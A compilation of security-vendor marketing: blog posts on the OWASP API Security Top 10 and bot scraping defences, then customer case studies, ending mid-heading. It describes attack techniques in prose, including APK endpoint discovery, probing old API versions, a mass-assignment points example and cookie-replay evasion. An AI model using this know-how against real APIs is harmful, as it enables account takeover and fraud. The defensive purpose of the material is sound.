How does the attacker find all these places to attack? API endpoints often aren’t published by an organization that has a mobile app but, rather, are used internally and known internally for application communication. One-way attackers can find out what API endpoints are available is to load an intercept proxy on a laptop or desktop and make a mobile device use the intercept proxy as the proxy for the mobile device. Another way is to take the mobile application apart and look for the API endpoints. Most android applications’ current and past versions appear on apkpure.com. Finding API endpoints and no longer used API endpoints is quickly done via enumeration that the victim organization has no idea is happening. In the case mentioned above, the attackers looked at old APK files for old Android Apps and figured out the API endpoints that used to be part of the app. They can then attack the API endpoints as the associated security is typically not as sophisticated as it is for web or other endpoints.

As the level of attacker sophistication increases, organizations must respond in kind. APIs are a readily available target and while the world is on lockdown, API attacks continue to increase. As a security community, we just need to ensure that the increased focus on APIs from attackers is at very least equally matched by our security teams’ attention and action.

The OWASP API Security Top 10 (December 2019) highlights how APIs have become the target du jour for attackers. As someone who is both a longstanding OWASP member and who works at a company that sees attacks against customers’ APIs daily, I think publishing this was a significant first step.

It’s not uncommon that, within hours of a customer launching a mobile application, we start to see attempts against parts of the platform that aren’t exposed anywhere but in the application communication.

It makes sense–mobile applications are API-driven, and APIs make it easier to execute automated attacks of all types such as account takeovers, fake account creation, or even generating gift card numbers to validate a balance. Recently, the CQ Prime Threat Research Team published that 98% of the account takeover traffic originating from Bulletproof Proxy networks target these mobile APIs.

Thoughts on the OWASP API Security Top 10

I wanted to share how each category in the OWASP Top 10 applies to real attacks we see and also wanted to provide some thoughts on a list that might align more closely with what our team and customers deal with daily.

To clarify, our goal isn’t to say that the OWASP Top 10 list is bad, it isn’t. It’s a great start. What we are trying to convey is that rarely is a security incident caused by a lone issue, and so we shouldn’t (and can’t) prescribe fixing only one aspect when analyzing an attack.

A1 – Broken Object Level Authorization

As more API frameworks come online with stronger server-side validation, we see this less often. However, when combined with other techniques, this vulnerability can be quite painful.

A2 – Broken User Authentication

Time and time again, organizations create authentication routines that have serious flaws like passing BASE64 encoded strings in the clear or password resets that allow for any user’s account to be reset and sent to the attacker. From the perspective of automated attacks against APIs, Credential Stuffing is on the rise and will probably be the largest attack variant we will see for the near term.

A3 – Excessive Data Exposure

Simply sniffing mobile app traffic shows us how different API endpoints are used. Taking an Android App APK apart exposes the API endpoints, but often the API itself will point to another API endpoint allowing an attacker to see what is available so they can begin testing. Utilizing a proxy and pulling the APK apart gives us (and an attacker) data about the application that not that different from running dynamic and static analysis on a web application. Obviously, when we are on the API side watching the traffic, we can easily see what is being used, but data exposure can happen on the client end. We often see attacks that are on older “thought to be deprecated” APIs that are inferred from the requests that are made. /api/v4/login gives an attacker a map to try /api/v1/login and api/v2/login etc…

A4 – Lack of Resources & Rate Limiting

Denial of Service is often not viewed as a vulnerability because it can be offloaded to a service provider for mitigation. However, what happens when the API accepts a file that is larger than the available disk? What if the compressed data expands beyond memory or disk? These types of resource attacks enable infrastructure to be taken offline. Rate limits can mean the difference between a successful credential stuffing attack and only being able to take over one account.

A5 – Broken Function Level Authorization

As organizations lose track of the various API versions in their environment, this one becomes more and more prolific. Often a new version of an API includes controls for administrative functions or access to methods like DELETE. The older API versions often have things like /api/v2/admin exposed, allowing an attacker to enumerate admin functions.

A6 – Mass Assignment

Some retailers have rewards programs. Wouldn’t it be nice if you could run an API call that does a get for /api/v1/user/<profileID> and returns { name:bob points:1003} but then a put to the same endpoint with { name:bob points:100003} in the data field? If this works, your API is vulnerable to mass assignment and is something that can become a huge problem.

A7 – Security Misconfiguration

We have all been there, forgot to set a flag or shut down a service. Often, we look at APIs and start seeing attack traffic against connect methods that shouldn’t be on, for instance, DELETE on an endpoint where GET should be the only method. These misconfigurations are often something that can be fixed quickly but left introduce significant risk.

A8 – Injection

It is curious this is number 8 on the API list but has hovered in the top two on OWASP’s Application Security Top 10. Attacks against APIs often don’t use this technique because APIs weren’t meant for humans to be able to decipher and error messages aren’t that verbose regarding deep system faults. In any case, we rarely see injected traffic attempting to do something except for the occasional command injection.

A9 – Improper Asset Management

Hygiene in knowing what API endpoints exist has and deprecating and turning them off when appropriate. We often see APIs running that only support an old app version in order to not force upgrades on user devices. It is a repeat of arguments we’ve all had with organizations that run bad cryptographic routines in order to allow older browsers to connect to web applications. Almost every compliance regulation enforces the point that asset inventory is required. Most organizations are missing this. Our suggestion is that this is moved up the list.

A10 – Insufficient Logging and Monitoring

We have had customers notice two-year-old accounts become active with a password reset and email address change, then go on to immediately login and attempt a purchase. Are they good or bad? If your logging and monitoring solutions aren’t online or able to detect this activity, you can easily see how it may lead to an unnoticed security incident. Having a good solution for this can mean the difference between a compromise and just writing a small rule to block the traffic.

Applying Real-World Context to Successful API Attacks

Tackling items in the OWASP Top 10 list one by one might end in a game of whack-a-mole as attackers morph their strategies to avoid your mitigations. To effectively tackle API security, organizations need an approach that will address several vulnerabilities at once.

If we were to take a fresh look at API security, a look that disregarded the idea of a “Top 10” and focused on real-world attacks, we might see something very different. Take a look at some examples of recent API incidents below. Combining techniques is how the attackers are winning.

Parameter Vulnerabilities

These are often discovered through a combination of techniques such as recon against the API, reading mobile application endpoints from applications, or watching an API interact using an intercept proxy. Vulnerabilities are exposed when parameters work across various user accounts, appear in error messages, or are learned via some other mechanism but work without validating (server-side) that the parameter is something the user is authorized to do. Server-side validation, safe error messages, and ensuring unused or deprecated endpoints are removed can go a long way towards preventing parameter vulnerabilities.

Business Logic Exploitation

This can come from error messages being a tad too verbose, from response payloads differing based on inputs and requests to the service, or it can be a simple logic flaw that gets exploited. Excessive data exposure and without rate limiting means that an attacker can test over and over again without overwhelming the system while attacking as efficiently as possible.

Lack of Visibility and Oversight

This can be as simple as “we don’t know what APIs we have” or more complex workflows “that user hasn’t logged-in in two months and never from Nigeria”. Being able to watch transactions, understand the intent of a transaction, and being able to react when a breach is ongoing, is critical in today’s world. Most organizations take small steps like logging data, but most don’t have the logs alert them to problems, and often attackers know this. If someone gets access to the API and breaches data on a system that isn’t instrumented to record the attack, it will be difficult to see when and how it happened.

Automated Scanning and Credential Stuffing

These are often in the news because many organizations put credential ownership in the hands of their users and have a combination of other flaws, like no rate limits, which make finding accounts and authenticating them easy.

Take a Holistic Approach to API Security

The API Top 10 is a good start at understanding the security implications of APIs and that they are rapidly becoming the foundation of most organizations’ business logic. Tackling vulnerabilities one-at-a-time might not get you out of the security debt you have built. However, taking a more holistic approach will lead to greater success.

Of all of the automated business logic abuse attacks, the simple act of copying and pasting content from one web page to another is the most difficult for any technology to stop. Content scraping was one of the problems we designed Cequence Security API Spartan to address, and we purposely avoided relying on agent-based techniques found in 1st generation bot mitigation tools. The reliance on JavaScript, Cookies, and Tokens to collect end-user device telemetry makes it difficult for 1st generation tools to block scraping attacks with any sustained efficacy.

Recently I had a chance to observe a 1st generation bot mitigator in a content scraping technology bakeoff and thought it worthwhile to share the outcome of this particular nasty attack campaign.

The Problems 1st Generation Bot Mitigators Face

When a scraping attack targets an API endpoint, 1st generation tools struggle because there is no web page or mobile SDK on which to install the necessary agent. Let’s start with why that is a problem:

1. Scraping typically happens using HTTP GET Requests – JavaScript-based Bot Mitigation techniques rely on sending a JavaScript agent as a response to the first HTTP GET request. They then collect device telemetry in the subsequence HTTP POST request. But, how do you get the JavaScript to end-user device before the 1st HTTP GET request – which is when the act of copying and pasting occurs? (you don’t)
2. Scraping can happen on any web URL – Because scraping occurs everywhere within your web domain, you have to instrument and monitor the entire site, which could be millions of web pages. Not only is it hard to instrument JavaScript across an entire domain, it also slows performance of the entire site leading to a less than desirable experience for legitimate users. (the impact is substantial)
3. Scraping can happen through APIs – You can’t get the device telemetry the old Bot Mitigators require from an API consumer because you cannot install anything on the API. (this leads to some devastating outcomes)

The Situation Observed

We were working with a large eCommerce site that consistently found their original content on a competitor’s site, and they wanted to find a quick solution. They deployed both a 1st generation bot mitigation tool and the Cequence Application Security Platform to see how well each solution could prevent content scraping attacks.

To mitigate problems 1 and 2 above, the 1st generation bot mitigation tool was heavily customized to work as follows:

1. Every HTTP GET request to anyURL was intercepted by an inline device and inspected to determine if a cookie from the Bot Mitigation tool was present.
   • If a cookie was present and still valid, the request was forwarded upstream to the origin server.
   • If a cookie was not present, the system generated a response with the JavaScript embedded in it (the cookie) to collect end-user device telemetry.
2. The response from the first HTTP GET request delivers the JavaScript to the end-user device and collects the device telemetry to send back in a 2nd HTTP GET request.
3. The 2nd HTTP GET request is intercepted by the 1^st gen Bot Mitigation solution and the end-user device telemetry is analyzed in real-time to determine if the requester is a bot or not.
   • If the request is deemed to be coming from a bot, then a response is sent based on custom-configured policies.
   • If the request is deemed to be coming from a legitimate user, the response contains a newly-generated HTTP Cookie for subsequent requests. This cookie is valid for 24 hours.
4. Upon receiving the HTTP Cookie as a response to the 2nd HTTP GET request, the system generates a 3rd HTTP request, which contains the HTTP cookie that allows the 1^st gen Bot Mitigation solution to validate that the request is coming from a legitimate user.

The Results from the 1st Generation Bot Mitigation Test

Notwithstanding the need for a diagram to fully understand the complex workflow put into place by the 1^st gen bot mitigation solution, the first result was an undesired one. The solution had a significant impact on customer experience. The page load time for a first-time visitor to the website increased more than 7X to 1.6 seconds on average. For retailers, this is an unacceptable user delay as it may result in lost shoppers. In addition, it is a significant financial penalty considering the page optimization investments in CDNs and other tools to improve page load time by mere milliseconds. The bottom line – in an attempt to prevent bot attacks, all page load time improvements were lost.

Despite the significant page load impact, there was still a hope that the 1^st gen bot mitigation solution could successfully stop scraping. There was an immediate and clear drop in scraping attacks at the outset of the solution deployment, but it was very short-lived. The attackers quickly figured out how they were being blocked and they retooled their methods.

Could 1st Gen Tool Stop the Retooled Attack?

Within a week, the attackers came back with a vengeance. It seemed as if there were multiple actors involved in the follow-on attacks, and they utilized different techniques at different times.

1. The first technique – leverage cookies: Attackers figured out that to not impact page load time for all pages for all users, they took advantage of the fact that the 1^st gen bot mitigator-supplied cookies were valid for 24 hours. The attackers used real browsers to generate a batch of cookies and they then instrumented the cookies into their automated scraping scripts (aka bad bots). These cookie-bearing bots were used very aggressively without being blocked for 24-hour periods. They continued to repeat this process at will.
2. The second technique – use the mobile endpoints: The second set of bad actors took advantage of the fact that there was no protection on the mobile endpoints. Even after putting in some basic rate-limits and geo-fencing, the attackers used residential proxy networks and spread their attacks over millions of IPs to circumvent those controls.
3. The third technique – go direct to the APIs: The last observed technique attacked the APIs, the most vulnerable threat vector because it had almost no protection. Very soon, 57% of their API traffic was scrapers. It was easy for the bots to instrument and enumerate through the item IDs and scrape all the relevant content associated with those items.

The most devastating result from the test with the 1st generation bot mitigation tool was that it was stopping 43% of requests from search engine bots, which negatively impacted SEO and resulted in a decline in user-activity and overall demand.

The Wrap-up and the Alternative

In summary, 1st generation bot mitigation tools that rely heavily on signals from end-user devices can’t defend against web content scraping. It’s like fitting a square peg in a round hole. You run the risk of compromising user experience, potentially breaking your SEO, and still not solving the scraping problem – all while burning precious cycles deploying a heavy-handed solution.

The alternative approach is to use a solution designed for dynamic, automated bot attacks against web and mobile applications, and APIs. Faced with the same techniques outlined above in the second wave attack, Cequence API Spartan was able to stop the malicious bots in their tracks (while letting the good bots through), with no impact on customer experience, SEO, and without requiring JavaScript instrumentation or SDK deployment.

You can read more about how API Spartan stops content scraping here.

We are happy to announce that the SaaS deployment of our Application Security Platform has attained both PCI DSS 3.2 Level 2 for Service Providers and SOC 2 Type I compliance. Achieving both of these attestations is an important milestone for the whole Cequence Security team. Compliance matters to us because it matters to our customers.

It was important to us to demonstrate that our operations are compliant by providing certifications you know and trust, PCI DSS and SOC 2. We’ve undergone 3rd party validation of our API and web application security services and operations to assure that organizations can put their trust in us and be confident in the multi-threat protections we deliver.

Each day we rigorously ensure the security, availability, and resilience of our systems. We have implemented policies that follow best-in-class practices for building and managing cloud environments. We hold our employees and our suppliers to the highest ethical and integrity standards, and we regularly review our practices and make improvements whenever needed. We partner closely with our customers and their users in a shared responsibility model which segments the work and responsibility for keeping all of the SaaS implementations secure. We do this because security is at the core of everything we do.

The Cequence Application Security Platform itself is used by customer organizations as a critical part of their own compliance programs. The Cequence platform provides necessary discovery, detection, and protection capabilities needed to defend against attack campaigns on APIs and web applications which could result in data breach or loss of access to the data.

About PCI DSS 3.2

The PCI DSS is an information security standard created by the major credit card companies and managed by the PCI Standards Security council. The PCI DSS sets a baseline of technical and operational requirements needed to protect credit card account information that is shared across systems including card number, verification number, and expiration date. The Cequence systems do not process or store credit card data. However, incoming cardholder data may be decrypted and forwarded on to the client application if it is in the data stream for the protected website.

About SOC 2

Our examination for the SOC 2 Type I was conducted in accordance with attestation standards established by the American Institute of Certified Public Accountants. The examination was designed for the purpose of expressing an opinion about whether, in all material respects, the description of the Cequence systems and corresponding security controls is presented in accordance with the SOC 2 description criteria and whether the controls stated therein were suitably designed to provide reasonable assurance that the service organization’s service commitments and system requirements were achieved based on the applicable trust services criteria. The opinion of the Auditor was based on the examination and the procedures performed in the examination were limited to those that were considered necessary.

Nearly every customer we speak with is in the process of executing a cloud migration initiative. In many cases, the cloud means first looking into SaaS as the deployment option for a new application. If SaaS cannot address the need, the public cloud is often used to build a custom application. In either case, a key driver for this shift is a desire to move away from managing data centers and infrastructure.

As part of this, organizations, even those in regulated industries, are asking more questions than ever as part of their vendor evaluation process. Common areas of interest include:

1. Hybrid cloud support and SaaS offerings: Organizations are looking for vendors that can deploy their solutions across hybrid environments without creating additional management complexity. Many organizations are asking questions about compliance certifications for SaaS offerings so they can offload the infrastructure management entirely.
2. Consolidation of security services: security teams are trying to reduce the complexity of managing multiple security solutions, so we see more questions about the breadth of services and integrations with other security offerings.
3. Extend application security protection to APIs: there is an increased awareness that APIs are commonly targeted for data exfiltration and application abuse purposes. While questions around API security are often general and high-level, it is clear this is an area of concern.

To better serve our customers, we released API Spartan SaaS earlier this year. Once deployed, customers have real-time visibility into the traffic hitting their site, and complete control over the mitigation policies to disrupt malicious bot activity.

With Cequence Security deploying and managing the underlying infrastructure and the customer managing data and policies, API Spartan SaaS reduces the operational burdens associated with stopping automated bot attacks.

API Spartan SaaS – CDN Integration

Deploying API Spartan SaaS is as easy as redirecting traffic from your CDN to the SaaS service, then on to the origin server. This level of integration, combined with our no JavaScript or SDK approach, ensures that API Spartan SaaS sees traffic coming from any new applications or API endpoints without direct involvement required from the security teams.

It is not uncommon for our customers to learn that their development teams have pushed a new login application flow or API endpoint out because this traffic started showing up in the Cequence console.

You can see how easy this is to set up by reviewing our CDN configuration guides here:

AWS CloudFront Integration | Fastly Integration | Akamai Integration

API Spartan SaaS – CDN Bundle

For organizations that do not have a CDN in place, or are not happy with their current CDN provider, we have partnered with Amazon Web Services and Fastly to bring a complete, best-of-breed CDN, DDoS, WAF, and API Spartan solution to market.

With our partners, Cequence Security can meet these new customer requirements and deliver our industry-leading bot mitigation and API security service. The platform is easy to manage, flexible to deploy, and able to scale to meet the seasonal or peak traffic, without comprising on efficacy.

Executive Summary

Cequence Security assisted the Ulta Beauty CTI team to mitigate a persistent, high-volume inventory API scraping attack. While the goal of the attack was initially uncertain, potential motivations included enabling real-world shoplifting opportunities by mapping popular inventory. The attack was executed across a third-party local-inventory search API, and mitigating it saved Ulta Beauty significantly across infrastructure and inventory costs.

Enumeration Attack Against Third-Party APIs

The attack unfolded as the volume of requests against local-inventory search APIs spiked at 700x normal volumes rotating through more than 153,000 unique product and SKU combinations while scraping 61,000 zip codes and 33,000 products. The local-inventory search API supplier notified the Ulta Beauty team of the sudden traffic surge, and an investigation uncovered an enumeration attack with the following characteristics:

• High-quality, residential proxy IP addresses were used to make IP blocking at the edge difficult.
• The attack enumerated through ZIP codes to find high concentration of specific products with high retail values.
• Initially, a web API was targeted but that quickly pivoted to the analogous mobile API which provides similar information.

Collaborative Efforts Save $80,000

Working together, the Ulta Beauty CTI and the CQ Prime threat research team put policies in place that have successfully blocked 85.9M total requests since April 1st resulting in $80,000 saved in infrastructure and loss prevention. Cequence was deployed fully on AWS with multiple availability zones and Auto Scaling groups enabling Ulta Beauty to scale up and down automatically as needed. At the height of the attack, policies were blocking upwards of 17M requests as shown in the following chart.

Policies block traffic that exhibit the following behaviors:

• Direct-to-API: The attack was designed to target the inventory API directly, without hitting any other app or web function. Normal behavior would show the user traversing multiple APIs.
• Volumetric threshold: The attacker used enumeration to rotate through the inventory at such a volumetric rate that it represented 90% of ALL the customer traffic at the time.
• Outdated browser: The attack was built to use very outdated or anomalous versions of Google Chrome.
• Single cookie generation: Each attack generated a single cookie whereas normal users would generate upwards of 40-50 cookies as they browsed the inventory.

A Win for All Parties

The rapid response and teamwork in blocking this attack resulted in a win for Ulta Beauty to the tune of $80,000 and a win for the local-inventory search API vendor, which no longer needed to bear the increased infrastructure costs. It’s also a win for the CQ Prime threat research team who mobilized quickly to identify the attack, motives, and behaviors and respond with appropriate blocking policies.

Customer Profile

Poshmark is a leading online marketplace that enables users to buy and sell new and secondhand styles for women, men, kids, homes, and more. Founded in 2011 in Redwood City, California, Poshmark has over 100 million registered users in its vibrant community across the U.S., Canada, Australia, and India. Today, there are more than 200 million available listings on its platform.

Increased Account Takeover Attempts Alongside Rapid Growth

Poshmark, a prominent social commerce marketplace, enables users to buy and sell new and secondhand styles on their the Poshmark website and mobile app. The ease, simplicity, and fun of the buying and selling experience has enabled millions of people around the world to bring their closet online with just a phone. As the marketplace grew, it attracted malicious activity that needed to be addressed to protect the company’s brand reputation and preserve the end user experience. Poshmark’s security team noticed an increase in the variety of new automated account takeover (ATO) attacks that used credential stuffing to compromise end user accounts. They saw this increase in attacks across both their web and API applications, neither of which had any API protection to detect or block these types of automated attacks.

Goals

• Inline Blocking: Real-time blocking of all malicious bot traffic with a very low false positive rate, ensuring that only real user traffic reaches the application.
• Reduce CAPTCHA: No longer rely on CAPTCHA as the primary way to identify bot activity.
• Fast, Easy Deployment: Quickly implement a new solution without disruption to buyers and sellers. Avoid integrating JavaScript SDKs into web and mobile applications which increase software and QA cycles for every product release.

Traditional Methods Disrupted User Experience

To identify and block suspected automated attacks, the security team had implemented a CAPTCHA challenge that disrupted the user experience and increased friction for user signup and login.

Poshmark needed a security solution that could block automated fraud attacks while improving the experience for buyers and sellers. Poshmark partnered with Cequence to deploy the Cequence Unified API Protection platform.

Immediate Bot Mitigation with Zero User Friction

After implementing Cequence, Poshmark was able to block malicious bot traffic in real time before it reached their application. This also enabled Poshmark to dramatically reduce CAPTCHA challenges, streamlining the user experience and ensuring that only legitimate users were on their platform. Additionally, Cequence was deployed fully on AWS with multiple availability zones and Auto Scaling groups enabling Poshmark to scale up and down automatically as needed during important sales events or high-volume attacks.

Poshmark is now able to do the following:

Results

• Real-time Blocking: Inline blocking of malicious bot traffic, ensuring that only legitimate user traffic reached their mission-critical applications.
• Prevent Fake Accounts: Block fake account creation used to conduct malicious activity across mobile and web sites.
• Block ATO Attacks and Malicious Signups: Significantly improve reliability and uptime while reducing fraud.
• Preserve Marketplace Social Integrity: Ensure comments originate from legitimate users on listed items and prevent fake comments from bots.
• Minimize User Experience Friction: Improve user experience by limiting CAPTCHA challenges to suspicious traffic, preventing malicious bot activity.

Success Metrics

• Reduced cancellations due to a decrease in malicious activity.
• Mitigated operational impacts like performance, reliability, and uptime.
• Improved the end user experience, reducing CAPTCHA challenges by 99.3%! Challenges were reduced from 2,600,000 logins to only 18,000 per week.
• Blocked over 609K attempted ATO attacks, saving an estimated $2,192,400* in potential account losses.
• Reduced hours spent by internal team members on manually battling malicious cyber attacks.

*Based on a $3.60 account loss per account LexisNexis® True Cost of Fraud™ Study.

A Leading Provider of Consumer Lease and Loan Solutions

Snap Finance provides a suite of very popular lease-to-own (LTO) and installment loan options for millions of consumers. The company serves a two-sided marketplace ─ with consumers on one side, merchants on the other. Snap Finance provides a high degree of customer engagement, a flexible consumer product line, as well as an optional virtual card. Its risk-based machine learning models allow for very fast decisions, simplifying the purchase process for consumers as well as the retail organizations they frequent.

IT and Business Challenges

Snap Finance is a cloud-forward organization. The company’s IT team manages some on-premises infrastructure at the company’s headquarters in Salt Lake City, UT, and a secondary center in Costa Rica, but all internet and business-facing applications are now in the cloud.

Gaurav Kohli, Snap Finance’s CTO, is responsible for managing all digital properties across both physical sites and in the cloud, with an emphasis on security and scalability. “We have several thousand API endpoints,” Kohli explained. “Not only do we serve our consumers through our own digital properties, we also have direct integrations with marketplaces and other large merchants that interact directly with our APIs. Making sure all of this data is secure is no easy task.”

Maria Ng is the company’s CISO. When she joined Snap Finance in 2022, her mandate was to optimize the company’s digital properties, using API-first approaches. She is now responsible for protecting all of Snap Finance’s corporate, customer, and merchant data. She also manages the company’s privacy, governance, risk and compliance, and cyber security programs. “Our strategy is to be omnichannel,” she explained. “We want to meet the customers wherever they are—whether that’s Android, iOS, desktop, or browsers. We recently launched our new mobile app and it has already surpassed 500,000 downloads with a 4.9 rating. This is why protecting our APIs is so important to us.”

Before moving to Cequence, Snap Finance used a collection of disparate fraud protection technologies. The company’s security team was able to identify and block many potential threats with those solutions, but they were unable to perform bot management in an easy and effective manner

Snap Finance started looking for an automated bot management solution two years ago. “We needed to find a partner with a broad understanding of the API and security space,” said Kohli. “We also wanted to work with a vendor that provided a managed service, rather than having to employ more security personnel to cover all of these necessary functions.”

Challenges

• Wanted to improve and automate bot management

Solution

Cequence Bot Management

Benefits

• Enhanced API security with better defense at the perimeter
• Effective bot management reduced the number of reportable threats to zero
• Eliminated the need to hire two full-time security professionals

Choosing Cequence Bot Management

Snap Finance chose Cequence after evaluating several potential bot management vendors. A module of the Cequence Unified API Protection platform, Cequence Bot Management was first deployed to protect Snap Finance’s consumer application portal – the platform consumers use to see if they are qualified, and where returning customers can log in and apply for new loans or leases.

“We haven’t found another bot protection solution in the market today that can compete with what Cequence is offering,” admitted Kohli. “None of them have a story that’s as compelling or a solution as robust as the Cequence Unified API Protection platform.”

The Cequence bot management and fraud prevention solution protects an organization’s web, mobile, and API applications from the full range of bot attacks to prevent data loss, theft, and fraud. Powered by an ML-based analytics engine that determines in real time if application and API transactions are malicious or legitimate, Cequence Bot Management natively mitigates attacks and eliminates harmful business impacts such as downtime, brand damage, skewed sales analytics, and increased infrastructure costs. Bot Management is available standalone or as part of the Cequence Unified API Protection platform.

Improved API Security Posture with Defense at the Perimeter

“In terms of bot protection, my philosophy is to ‘keep the fight outside my lawn’,” explained Ng. “I don’t want to have any interactions with threat actors on my edge — I want to push that perimeter out as far as I can. Cequence is able to intercept bad traffic from threat actors outside of our perimeter. With this capability, our threat posture has been significantly improved.”

Automating Bot Management

“The Cequence managed service has definitely reduced the number of things our security team needs to pay attention to,” noted Ng. “Cequence provides consistent, detailed reports on what threats were received, how much traffic was blocked, which threats were automatically mitigated, the ones advanced to manual review, and any threats we were notified on. The Cequence managed service gives us much more breathing room. By taking care of bot management for us, we can now focus on other strategic IT projects.”

Reducing the Number of Reportable Breaches to Zero

One of Ng’s responsibilities as CISO is to provide regular security updates to the company’s board of directors. “I inform them of any reportable breaches and attempted attacks,” said Ng. “At our last meeting, I was happy to inform them that we’ve had no reportable breaches since deploying Cequence.”

“When I first joined Snap Finance, there were some bad actors trying to use our applications to obtain confidential information,” Ng shared. “Fortunately, we were able to use Cequence to mitigate that attack, avoiding any availability or data loss issues.”

Benefits

• No CAPTCHA Needed Network-based approach requires no agents, JavaScript, or SDK integration
• Native Mitigation Attack identification and blocking without relying on third-party infrastructure such as WAFs
• Rapid Time to Value Deploys quickly and is immediately effective
• Flexible Deployment Model Supports on-premises, SaaS, or hybrid deployments
• Fraud Prevention Customizable, granular policies for organization-specific use cases

Reducing IT Expenses

Cequence is also enabling Snap Finance to reduce IT time and expense. “If we didn’t have the Cequence managed service, we would have to hire two full-time security professionals, in addition to purchasing and deploying another solution that would enable us to perform bot management by ourselves,” Kohli said.

Recommending Cequence to Others

When asked if he would recommend Cequence to other companies, Kohli replied, “Yes, absolutely. We have a very strong partnership with Cequence—they were right there with us all along the way. Our Cequence account rep meets with us regularly to discuss our deployment and listen to any suggestions we might have for future product enhancements. Unlike other partners or vendors, our relationship with Cequence did not end after we signed the sales agreement. They really care about our ongoing success with bot management. With Cequence, we worry less about malicious or suspicious traffic reaching our applications.”

About Snap Finance

Snap Finance harnesses the power of data to empower consumers of all credit types to get what they need. Launched in 2012, Snap’s technology utilizes more than a decade of data, machine learning, and non-traditional risk variables to create a proprietary platform that looks at each customer through a more holistic, human lens. Snap’s flexible solutions are changing the face and pace of consumer retail finance. For more information, visit snapfinance.com.

A Highly Successful Athletic-Inspired Fashion Retailer

Hibbett has grown rapidly in both size and popularity since opening its first store in Alabama in 1945. The company distinguishes itself from other retailers with its wide network of convenient locations in smaller cities that aren’t typically served by the larger brand stores, its personalized customer service, and comprehensive access to coveted footwear, apparel, and equipment from the nation’s top brands. In addition to its vast network of retail outlets located across the United States, Hibbett also supports a large on-line presence. Hibbett’s loyal customers can choose between visiting stores located in their own communities, or the convenience of ordering products from the company’s website (hibbett.com).

Challenges

• Needed better visibility into APIs to reduce the risk of data loss, theft, fraud, and business disruption
• Looking for a solution that was easy to deploy, without the need for third-party tools
• Wanted the ability to detect and remediate API vulnerabilities before moving new apps into production

IT and Business Challenges

Lee Morris has worked for Hibbett for over 30 years and is now the company’s Senior Director of Security and Infrastructure Architecture. “Security is no longer the department of ‘no’,” said Morris. “With all of the powerful technology solutions we have in place, we are now recognized as a business enabler.”

Hibbett relies on a hybrid IT environment for its retail and online operations. Several of the company’s critical services are supported on-premises, while others are now transitioning to the Oracle cloud, with a suite of SaaS products and Azure Identity Services. “Hibbett has gone from just a few API processes moving data between a couple of applications, to an environment where almost everything we do is through API communications,” said Stephen Scandrett, Senior Security Engineer at Hibbett Sports. “There’s a lot of data moving between all of our internal applications and external systems. Managing that communication from a security perspective is the ultimate priority for our team, given the importance of protecting our revenue stream, along with our proprietary and confidential customer information.”

Before implementing the Cequence solution, Hibbett was looking to strengthen their API security and bot management solutions. “We only have a modest number of APIs now, but that will increase rapidly as we move more of our infrastructure to the cloud,” explained Scandrett. “We needed a way to make sure everything was secure and built into the system before ramping up our API usage. We didn’t want to wait until it got beyond our control and became a headache to manage.”

Results

• Gained the ability to easily discover and protect all internal and external APIs
• Achieved a fast and seamless deployment, without needing third-party integration tools
• Obtained multiple API protection features with just one, integrated solution
• Increased data security by identifying and fixing API vulnerabilities before launch
• Gained the ability to create custom policies for mitigating and blocking bot attacks

Ensuring Availability

One of the IT team’s biggest challenges is protecting application availability during new solution deployments. “Everything needs to be operational 24×7, or it will have a negative impact on our business,” noted Scandrett. “Availability is a huge component of security, and I didn’t want any new security measures to affect our revenue streams or business partnerships in any way, shape, or form. We had to make sure any systems we implemented wouldn’t cause latency or throughput issues with our APIs or the data that’s transferred between them.”

Searching for a Way to Improve API Security

Morris and Scandrett started the search for an API protection solution by listening to peer reviews and reading industry analyst reports. They looked at the most recent Gartner Peer Insights data to identify the top API security companies.

Morris and Scandrett then created a list of the API security and bot management capabilities that were essential for their organization. “Discovery was the most important functionality for us because we had limited visibility into our internal and external APIs,” explained Scandrett. “The second criterion was the testing capabilities of the solution. Many of our APIs were developed in-house and we needed to strengthen the static and dynamic code analysis scanning to proactively identify vulnerabilities. We needed the ability to test all of our code and fix any issues before new applications were pushed out to production.”

Why Cequence Security?

After a thorough review of available offerings, including watching demos and attending several vendors’ presentations, Hibbett chose the Cequence Unified API Protection Platform. “Cequence was the only solution that met all of our criteria,” said Morris. “In addition to being named as an API protection technology leader in the industry analyst reports, Cequence had very positive customer reviews — not only for its API security products and capabilities, but for its high level of customer service as well.”

Another reason Hibbett chose Cequence was its out-of-the-box integrations with over 300 third-party APIs. “All of the other vendors’ solutions required some type of third- party tool to perform blocking actions for runtime protection,” Scandrett explained. “Whether a WAF or an API gateway, they all needed additional software to provide the necessary functionality. Cequence was the only vendor that was able to do everything we needed without requiring us to purchase and deploy any additional software.”

A Fast and Easy Deployment

The Cequence API protection solution was also very easy to deploy, requiring no changes to Hibbett’s on-premises, cloud, or SaaS infrastructure. Cequence was deployed fully on AWS with multiple availability zones and Auto Scaling groups enabling Hibbett to scale up and down automatically as needed. Traffic flowed in through the customer CDN, into AWS Cloud, through Amazon Route 53 DNS service, and into one of several Availability Zones. Within the Availability Zones, traffic flowed through a public subnet containing application load balancers and into a private subnet with an Auto Scaling group. From there, traffic was directed by a network load balancer and into the customer environment. All of this occurred within the Cequence AWS Cloud instance, ensuring a simple and straightforward deployment. “All we had to do was make a quick public DNS change to route our traffic through Cequence,” explained Scandrett. “It was as simple as that. We didn’t have to change any of our internal coding, and we experienced no down time or latency during the installation.”

Gaining Visibility into all APIs

Every API that Hibbett has is now going through Cequence. “One of the biggest benefits we’ve obtained with Cequence is the ability to identify all of our APIs and detect any flaws in our code before launching a new solution,” said Morris. “We see API breaches in the news all the time now, and this was an area where we really didn’t have enough insight. The Cequence Unified API Protection Platform is enabling us to ensure our critical services are adequately protected before deployment, allowing us to continue to grow and prosper in the highly competitive retail market.”

Saving IT Time and Accomplishing Multiple API Protection Goals

The Cequence solution has also eliminated the need for Hibbett’s security administrators to spend a lot of time on API management. “To put a number to the actual IT time savings we’ve obtained would have been impossible prior to deploying Cequence,” admitted Scandrett. “If we had attempted to do everything manually or seek out separate tools to accomplish what Cequence provides, it would have taken a huge amount of time. And even then, our efforts would have accomplished only a small portion of the work that Cequence can do as part of its comprehensive, API protection solution.”

Creating Custom Policies for Mitigation

“Our security team works with Cequence’s threat intelligence professionals in to create custom policies for mitigation and blocking bot attacks,” said Scandrett. “That’s another reason we chose Cequence. As far as I know, none of the other API protection vendors provide a 24/7 threat monitoring service. This visibility enables us to fine-tune our security policies based on threats that could potentially harm our operations. Knowing what’s out there and gaining the ability to proactively block malicious traffic is obviously helping us mitigate risk.”

Recommending Cequence to Others

